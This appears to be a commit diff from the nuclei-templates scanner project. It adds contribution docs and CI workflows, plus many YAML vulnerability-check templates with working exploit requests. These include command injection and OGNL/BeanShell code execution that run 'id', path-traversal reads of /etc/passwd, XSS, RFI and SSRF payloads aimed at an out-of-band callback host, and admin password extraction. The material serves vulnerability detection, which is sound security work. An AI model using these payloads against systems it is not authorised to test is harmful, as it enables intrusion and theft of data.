Auto Update README [Sat Jul 10 17:03:33 UTC 2021] 🤖

Merge pull request #1923 from projectdiscovery/CVE-2021-34621
Added CVE-2021-34621
2026-11-07 08:36:19 -10:00 · 2021-07-10 17:03:33 +00:00 · 2021-07-10 22:33:17 +05:30 · 2021-07-10 22:31:08 +05:30 · 2021-07-10 16:53:15 +00:00 · 2021-07-10 22:23:00 +05:30
725 changed files with 13936 additions and 1745 deletions
@@ -41,7 +41,7 @@ An overview of the nuclei template directory including number of templates assoc
 | cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
 | takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
 | misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
-| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
 | fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.
@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint

 on: [push, pull_request]

@@ -0,0 +1,35 @@
+name: 🛠 Template Validate
+
+on: [push, pull_request]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout Repo
+        uses: actions/checkout@master
+
+      - name: Setup golang
+        uses: actions/setup-go@v2
+        with:
+          go-version: 1.14
+
+      - name: Cache Go
+        id: cache-go
+        uses: actions/cache@v2
+        with:
+          path: /home/runner/go
+          key: ${{ runner.os }}-go
+
+      - name: Installing Nuclei
+        if: steps.cache-go.outputs.cache-hit != 'true'
+        env:
+          GO111MODULE: on
+        run: |
+          go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@dev
+        shell: bash
+
+      - name: Template Validation
+        run: |
+          nuclei -validate -t . -exclude .pre-commit-config.yaml
+        shell: bash
@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update

 on:
  push:
@@ -8,9 +8,7 @@
 # unless asked for by the user.

 tags: 
-  - "headless"
  - "dos"
-  - "iot"
  - "misc"
  - "fuzz"
  - "revision"
@@ -0,0 +1,97 @@
+# Template Contribution Guidelines
+
+This documentation contains a set of guidelines to help you during the contribution process. 
+We are happy to welcome all the contributions from anyone willing to **improve/add** new **templates** to this project. 
+Thank you for helping out and remember, **no contribution is too small.**
+
+# Submitting Nuclei Templates 👩‍💻👨‍💻
+
+Below you will find the process and workflow used to review and merge your changes.
+
+## Step 1 : Find existing templates
+
+- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) before creating new one.
+- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
+- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+
+## Step 2 : Fork the Project
+
+- Fork this Repository. This will create a Local Copy of this Repository on your Github Profile. Keep a reference to the original project in `upstream` remote.
+
+<img width="928" alt="template-fork" src="https://user-images.githubusercontent.com/8293321/124467966-2afde200-ddb6-11eb-835f-8f8fc2fabedb.png">
+
+```sh
+git clone https://github.com/<your-username>/nuclei-templates
+cd nuclei-templates
+git remote add upstream https://github.com/projectdiscovery/nuclei-templates
+```
+
+- If you have already forked the project, update your copy before working.
+
+```sh
+git remote update
+git checkout master
+git rebase upstream/master
+```
+
+## Step 3 : Create your Template Branch
+
+Create a new branch. Use its name to identify the issue your addressing.
+
+```sh
+# It will create a new branch with name template_branch_name and switch to that branch
+git checkout -b template_branch_name
+```
+
+## Step 4 : Create Template and Commit
+- Create your template.
+- Add all the files/folders needed.
+- After you've made changes or completed template creation, add changes to the branch you've just created by:
+
+```sh
+# To add all new files to branch template_branch_name
+git add .
+```
+
+- To commit give a descriptive message for the convenience of reveiwer by:
+
+```sh
+# This message get associated with all files you have changed
+git commit -m "Added/Fixed/Updated XXX Template"
+```
+
+**NOTE**: 
+
+- A Pull Request should have only one unique template to make it simple for review.
+- Multiple templates for same technology can be grouped into single Pull Request. 
+
+
+## Step 5 : Push Your Changes
+
+- Now you are ready to push your template to the remote (forked) repository.
+- When your work is ready and complies with the project conventions, upload your changes to your fork:
+
+```sh
+# To push your work to your remote repository
+git push -u origin template_branch_name
+```
+
+## Step 6 : Pull Request
+
+- Fire up your favorite browser, navigate to your GitHub repository, then click on the New pull request button within the Pull requests tab. Provide a meaningful name and description to your pull request, that describes the purpose of the template.
+- Voila! Your Pull Request has been submitted. It will be reviewed and merged by the moderators, if it complies with project standards, otherwise a feedback will be provided.🥳
+
+## Need more help?🤔
+
+You can refer to the following articles of Git and GitHub basics. In case you are stuck, feel free to contact the Project Mentors and Community by joining [PD Community](https://discord.gg/projectdiscovery) Discord server.
+
+- [Forking a Repo](https://help.github.com/en/github/getting-started-with-github/fork-a-repo)
+- [Cloning a Repo](https://help.github.com/en/desktop/contributing-to-projects/creating-an-issue-or-pull-request)
+- [How to create a Pull Request](https://opensource.com/article/19/7/create-pull-request-github)
+- [Getting started with Git and GitHub](https://towardsdatascience.com/getting-started-with-git-and-github-6fcd0f2d4ac6)
+- [Learn GitHub from Scratch](https://lab.github.com/githubtraining/introduction-to-github)
+
+
+## Tip from us😇
+
+**Nuclei** outcomes are only as excellent as **template matchers💡**
@@ -0,0 +1,28 @@
+### Template / PR Information
+
+<!-- Explains the information and/or motivation for update or/ creating this templates -->
+<!-- Please include any reference to your template if available -->
+
+- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
+- References:
+
+### Template Validation
+
+I've validated this template locally?
+- [ ] YES
+- [ ] NO
+
+
+#### Additional Details (leave it blank if not applicable)
+
+<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
+<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Please do NOT include vulnerable host information in pull requests -->
+<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
+
+### Additional References:
+
+- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
+- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
+- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/.github/CONTRIBUTING.md)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc

 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 306           | vulnerabilities | 147 | exposed-panels | 124 |
-| takeovers        | 68        | exposures       | 92       | technologies   | 66   |
-| misconfiguration | 56 | workflows       | 30         | miscellaneous  | 20  |
-| default-logins   | 24 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 8          | helpers         | 8         | iot            | 11            |
+| cves             | 388           | vulnerabilities | 214 | exposed-panels | 192 |
+| takeovers        | 70        | exposures       | 112       | technologies   | 115   |
+| misconfiguration | 74 | workflows       | 33         | miscellaneous  | 27  |
+| default-logins   | 37 | file            | 42            | dns            | 10            |
+| fuzzing          | 10          | helpers         | 9         | iot            | 15            |

-**103 directories, 1054 files**.
+**127 directories, 1465 files**.

 </td>
 </tr>
@@ -1,11 +1,12 @@
-id: xiuno-bbs-reinstallation
+id: CNVD-2019-01348
+
 info:
  name: Xiuno BBS CNVD-2019-01348
  author: princechaddha
  severity: medium
  description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
-  tags: xiuno
+  tags: xiuno,cnvd

 requests:
  - method: GET
@@ -1,16 +1,18 @@
-id: xunchi-file-read
+id: CNVD-2020-23735
+
 info:
-  name: Xxunchi LFR (CNVD-2019-01348
+  name: Xxunchi Local File read
  author: princechaddha
  severity: medium
  description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
  reference: https://www.cnvd.org.cn/flaw/show/2025171
-  tags: xunchi,lfi
+  tags: xunchi,lfi,cnvd

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -21,4 +23,4 @@ requests:
          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
          - "display_errors"
        part: body
-        condition: and
+        condition: and
@@ -1,11 +1,11 @@
-id: ruijie-smartweb-default-password
+id: CNVD-2020-56167

 info:
  name: Ruijie Smartweb Default Password
  author: pikpikcu
  severity: low
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
-  tags: ruijie,default-login
+  tags: ruijie,default-login,cnvd

 requests:
  - method: POST
@@ -5,7 +5,7 @@ info:
  author: pikpikcu
  severity: medium
  reference: https://blog.csdn.net/m0_46257936/article/details/113150699
-  tags: lfi
+  tags: lfi,cnvd

 requests:
  - method: GET
@@ -1,11 +1,11 @@
-id: weiphp-path-traversal
+id: CNVD-2020-68596

 info:
  name: WeiPHP 5.0 Path Traversal
  author: pikpikcu
  severity: critical
  reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
-  tags: weiphp,lfi
+  tags: weiphp,lfi,cnvd

 requests:
  - raw:
@@ -1,11 +1,11 @@
-id: eea-disclosure
+id: CNVD-2021-10543

 info:
  name: EEA Information Disclosure
  author: pikpikcu
  severity: high
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
-  tags: config,exposure
+  tags: config,exposure,cnvd

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CNVD-2021-15822
+
+info:
+  name: ShopXO Download File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
+  tags: shopxo,lfi
+
+requests:
+  - raw:
+      - |
+        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
-id: ruijie-smartweb-disclosure
+id: CNVD-2021-17369

 info:
  name: Ruijie Smartweb Management System Password Information Disclosure
  author: pikpikcu
  severity: medium
  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
-  tags: ruijie,disclosure
+  tags: ruijie,disclosure,cnvd

 requests:
  - method: GET
@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"
@@ -7,7 +7,7 @@ info:
  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
-  tags: phpmyadmin,rce,deserialization
+  tags: cve,cve2009,phpmyadmin,rce,deserialization

 requests:
  - raw:
@@ -0,0 +1,26 @@
+id: CVE-2009-4223
+
+info:
+  name: KR-Web <= 1.1b2 RFI
+  description: KR is a web content-server based on Apache-PHP-MySql technology who gives to internet programmers some PHP classes semplifying database content access. Elsewere, it gives some admin and user tools to write, hyerarchize and authorize contents.
+  reference:
+    - https://sourceforge.net/projects/krw/
+    - https://www.exploit-db.com/exploits/10216
+  author: geeknik
+  severity: high
+  tags: cve,cve2009,krweb,rfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
@@ -0,0 +1,47 @@
+id: CVE-2012-3153
+
+info:
+  name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
+  author: Sid Ahmed MALAOUI @ Realistic Security
+  severity: critical
+  description: |
+    Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
+    11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
+    vectors related to Report Server Component.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3152
+    - https://www.exploit-db.com/exploits/31737
+  tags: cve,cve2012,oracle,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/reports/rwservlet/showenv"
+      - "{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_1, "Reports Servlet")'
+
+      - type: status
+        status:
+          - 200
+
+      - type: dsl
+        dsl:
+          - '!contains(body_2, "<html")'
+          - '!contains(body_2, "<HTML")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: windows_working_path
+        regex:
+          - ".?.?\\\\.*\\\\showenv"
+      - type: regex
+        name: linux_working_path
+        regex:
+          - "/.*/showenv"
@@ -0,0 +1,20 @@
+id: CVE-2013-2248
+
+info:
+  name: Apache Struts - Multiple Open Redirection Vulnerabilities
+  author: 0x_Akoko
+  description: Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
+  reference: https://www.exploit-db.com/exploits/38666
+  severity: low
+  tags: cve,cve2013,apache,redirect,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:http://www.example.com/"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation & @dwisiswant0
+  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
@@ -29,6 +29,13 @@ requests:
        Accept: */*
        Accept-Language: en

+      - |
+        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
@@ -39,10 +46,4 @@ requests:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
-      - type: word
-        words:
-          - "There is no Action mapped for namespace"
-          - "The origin server did not find a current representation for the target resource"
-          - "Apache Tomcat"
-        condition: or
        part: body
@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -10,6 +10,7 @@ info:
    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
  description: |
       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty

 requests:
  - method: POST
@@ -0,0 +1,31 @@
+id: CVE-2015-6477
+
+info:
+  name: Nordex NC2 'username' Parameter XSS
+  description: An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/fulldisclosure/2015/Dec/117
+    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
+
+  author: geeknik
+  severity: medium
+  tags: cve,cve2015,xss,iot,nordex,nc2
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login"
+    body: 'connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: word
+        part: body
+        words:
+          - "</script><script>alert('{{randstr}}')</script>"
@@ -0,0 +1,22 @@
+id: CVE-2015-8813
+
+info:
+  name: Umbraco SSRF Vulnerability in Feedproxy.aspx
+  author: emadshanab
+  severity: high
+  description: A Server Side Request Forgery (SSRF) vulnerability in Umbraco in Feedproxy.aspx allows attackers to send arbitrary HTTP GET requests.Once you change the URL to the http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index, you able to access the localhost application of the server
+  refrense: |
+    - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8813
+  tags: cve,cve2015,ssrf,oob
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}"
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"
@@ -37,7 +37,6 @@ requests:
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

    matchers-condition: and
    matchers:
@@ -0,0 +1,35 @@
+id: CVE-2016-5649
+
+info:
+  name: Netgear DGN2200 / DGND3700 - Admin Password Disclosure
+  author: suman_kar
+  severity: critical
+  description: Vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. Attacker can use this password to gain administrator access of the targeted routers web interface.
+  tags: cve,cve2016,iot,netgear,router
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-5649
+
+requests:
+  - raw:
+      - |
+        GET /BSW_cxttongr.htm HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<title>Smart Wizard Result</title> "
+        part: body
+
+    extractors:
+      - type: regex
+        name: password
+        part: body
+        group: 1
+        regex:
+          - '<b>Success "([a-z]+)"'
@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header
@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header
@@ -0,0 +1,33 @@
+id: CVE-2017-12794
+
+info:
+  name: Django debug page XSS
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://twitter.com/sec715/status/1406779605055270914
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-12794
+  description: |
+    In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with "DEBUG = True" (which makes this page accessible) in your production settings.
+  tags: xss,django,cve,cve2017
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
  tags: cve,cve2017,nodejs,lfi
@@ -0,0 +1,24 @@
+id: CVE-2017-15944
+
+info:
+  name: PreAuth RCE on Palo Alto GlobalProtect
+  author: emadshanab
+  reference: http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
+  severity: high
+  tags: cve,cve2017,rce,vpn,paloalto
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/global-protect/portal/css/login.css"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2017-16806
+
+info:
+  name: Ulterius Server < 1.9.5.0 - Directory Traversal
+  author: geeknik
+  reference: https://www.exploit-db.com/exploits/43141
+  severity: high
+  tags: cve,cve2017,ulterius,traversal
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
+      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
